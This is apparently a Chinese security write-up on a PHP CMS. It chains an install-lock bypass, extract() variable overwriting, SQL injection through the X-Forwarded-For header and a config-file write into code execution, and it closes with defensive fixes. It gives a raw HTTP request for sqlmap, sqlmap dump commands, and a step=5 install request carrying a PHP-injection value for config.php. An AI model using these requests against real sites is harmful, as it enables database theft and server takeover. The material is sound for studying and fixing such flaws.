记一次从sql到重装getshell
字数 1086 2025-08-26 22:11:51
网站重装Getshell漏洞分析与利用
漏洞概述
本文详细分析了一个通过网站重装功能实现Getshell的漏洞,涉及SQL注入和文件写入两个关键漏洞点。该漏洞存在于网站的安装/重装功能中,攻击者可以通过特定步骤绕过安装锁检测,利用SQL注入获取数据库信息,最终通过配置文件写入实现Getshell。
漏洞分析
1. 安装锁绕过漏洞
漏洞文件:/install/index.php
关键代码:
switch($step) {
case '1':
include 'step_'.$step.'.php';
break;
// ...其他case...
}
在step_1.php中会检查install.lock文件是否存在:
if(file_exists("install.lock")){
echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>";
}else{
// 安装流程
}
漏洞点:系统仅在step=1时检查安装锁,通过直接提交step=2或更高步骤可以绕过安装锁检测。
2. 变量注册漏洞
关键代码:
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
这段代码使用extract()函数将GET和POST参数注册为变量,存在变量覆盖风险。
3. 配置文件写入漏洞
在step=5时,系统会写入配置文件:
$fp = "../inc/config.php";
$f = fopen($fp, 'r');
$str = fread($f, filesize($fp));
fclose($f);
$str = str_replace("define('siteurl','".siteurl."')", "define('siteurl','$url')", $str);
// ...其他替换...
$f = fopen($fp, "w+");
fputs($f, $str);
fclose($f);
漏洞点:$url变量可通过POST或GET参数控制,导致可以写入任意内容到配置文件中。
4. SQL注入漏洞
漏洞文件:/user/logincheck.php
关键代码:
$sql = "select * from cms_user where username='" . $username . "' and password='" . $password . "' ";
$rs = query($sql);
此外,在登录成功后还有一处SQL注入点:
query("UPDATE cms_user SET loginip = '".getip()."' WHERE username='".$username."'");
其中getip()函数会从HTTP头中获取IP地址:
function getip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
漏洞点:通过控制X-Forwarded-For等HTTP头可以注入SQL语句。
漏洞利用步骤
第一步:绕过安装锁检测
- 直接访问
/install/index.php?step=2,绕过step=1的安装锁检查
第二步:获取数据库信息(SQL注入)
使用SQLMap进行注入:
- 准备注入数据文件
sql.txt:
POST /user/logincheck.php HTTP/1.1
Host: www.wyc.com
Content-Length: 111
Cache-Control: max-age=0
Origin: http://www.wyc.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://www.wyc.com/user/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7
Cookie: bdshare_firstime=1568780385995; PHPSESSID=7fih9osc4vupgl87u76unqvsag
Connection: close
X-Forwarded-For: 127.0.0.1*
- 使用SQLMap命令:
sqlmap -r sql.txt --dbs
sqlmap -r sql.txt -D 数据库名 --tables
sqlmap -r sql.txt -D 数据库名 -T 表名 --dump
第三步:利用重装功能Getshell
- 访问安装页面并提交到
step=5:
POST /install/index.php?step=5 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
db_host=localhost&db_user=root&db_pass=password&db_port=3306&db_name=test&url=恶意内容
- 控制
url参数写入恶意代码:
url=');phpinfo();//
最终配置文件config.php中会写入:
define('siteurl','');phpinfo();//')
防御措施
- 安装锁检查:在所有安装步骤前都检查安装锁,而不仅限于第一步
- 避免使用extract():不要直接使用
extract()函数处理用户输入 - 输入过滤:对所有用户输入进行严格过滤和验证
- 使用预处理语句:SQL查询使用预处理语句防止注入
- 文件写入权限:限制配置文件的写入权限
- IP获取函数安全:
getip()函数应过滤特殊字符
总结
该漏洞组合利用了多个安全问题:
- 安装锁检查不严导致重装功能被滥用
extract()函数导致变量覆盖- SQL注入获取数据库信息
- 配置文件写入不严导致代码执行
通过分析这类漏洞,我们可以更好地理解Web应用安全中的关键风险点,并在开发中避免类似问题。